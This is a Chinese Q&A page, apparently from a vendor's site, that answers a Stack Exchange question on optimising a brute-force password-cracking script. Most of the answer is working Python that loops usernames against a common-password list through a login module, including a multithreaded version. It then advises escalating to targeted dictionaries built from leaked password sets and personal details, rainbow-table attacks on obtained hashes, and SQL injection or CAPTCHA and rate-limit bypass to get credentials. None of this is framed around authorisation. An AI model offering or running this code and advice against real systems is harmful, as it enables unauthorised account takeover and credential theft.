You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何优化简易密码破解代码以适配1000-100000条密码列表?

密码破解程序的优化方案与攻击方式选择

现有代码的核心瓶颈

你的当前代码在处理1000-100000条密码时会遇到两个致命性能问题:

  1. 重复文件IO:每遍历一个用户名就重新打开一次MostCommonPWs文件,100个用户就要读100次密码文件,完全没必要。
  2. 外部进程调用开销:用os.popen每次启动一个Python进程去调用Login.pyc,这是最大的性能杀手——启动进程的开销远大于验证本身,10w条密码就要启动10w次进程,速度会慢到无法接受。

代码层面的优化(针对暴力破解场景)

如果坚持用暴力破解,先做这几个优化,能大幅提升效率:

1. 一次性读取所有密码,避免重复IO

把密码列表的读取移到外层循环外面,只读取一次:

import time
import os

# 一次性读取所有用户名和密码,避免重复IO
with open('usernames') as f:
    username_list = f.read().splitlines()

with open('MostCommonPWs') as f:
    password_list = f.read().splitlines()

start_time = time.time()

for username in username_list:
    for password in password_list:
         output = os.popen('python3 Login.pyc ' + username + ' ' + password).read()
         if "Login successful." in output:
            print(f"The correct password for {username} is: {password}")
            break  # 找到该用户密码后跳出密码循环

end_time = time.time()
print(f"Runtime: {end_time - start_time}")

2. 直接导入Login模块,避免外部进程调用

如果Login.pyc是可导入的(里面有明确的登录验证函数,比如login(username, password)),直接导入调用,比启动外部进程快几十倍:

import time
import Login  # 直接导入Login模块,替代os.popen调用

with open('usernames') as f:
    username_list = f.read().splitlines()

with open('MostCommonPWs') as f:
    password_list = f.read().splitlines()

start_time = time.time()

for username in username_list:
    for password in password_list:
         # 假设Login模块有login函数,返回是否成功的布尔值或对应提示
         if Login.login(username, password) == "Login successful.":
            print(f"The correct password for {username} is: {password}")
            break

end_time = time.time()
print(f"Runtime: {end_time - start_time}")

3. 并行化验证(多线程/多进程)

利用多核CPU或异步IO并行处理密码尝试,进一步提升速度:

  • 如果Login验证是网络请求类的IO密集型操作,用多线程(threading模块)或异步(asyncio);
  • 如果是本地哈希计算类的CPU密集型操作,用多进程(multiprocessing模块)。

举个多线程的简单例子:

import time
import threading
from queue import Queue
import Login

# 读取数据
with open('usernames') as f:
    username_list = f.read().splitlines()

with open('MostCommonPWs') as f:
    password_list = f.read().splitlines()

result_queue = Queue()

def worker(username):
    for password in password_list:
        if Login.login(username, password) == "Login successful.":
            result_queue.put((username, password))
            return  # 找到后直接退出线程

start_time = time.time()

# 启动线程处理每个用户名
threads = []
for username in username_list:
    t = threading.Thread(target=worker, args=(username,))
    threads.append(t)
    t.start()

# 等待所有线程结束
for t in threads:
    t.join()

# 输出结果
while not result_queue.empty():
    user, pwd = result_queue.get()
    print(f"The correct password for {user} is: {pwd}")

end_time = time.time()
print(f"Runtime: {end_time - start_time}")

是否需要更换攻击方式?

当密码列表达到10w条时,哪怕优化后的暴力破解速度也有限,这时候可以考虑更高效的攻击方式:

  • 精准字典攻击:不要用通用的10w条密码,而是针对目标用户生成定制字典——比如结合用户名的变种(用户名+123、用户名首字母+生日)、目标行业的常用密码、近期泄露的密码数据集,大幅减少无效尝试。
  • 彩虹表攻击:如果Login系统是存储密码哈希值(比如MD5、SHA1),且你能获取到哈希值,可以用彩虹表预计算的哈希数据直接匹配,速度比暴力破解快几个数量级。
  • 目标系统漏洞利用:先排查目标系统是否存在登录频率未限制、验证码绕过、SQL注入(如果是数据库验证)等漏洞,这些方法能直接绕过暴力破解的低效循环,快速获取有效凭证。

内容的提问来源于stack exchange,提问作者Chromozone

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.02 04:01:18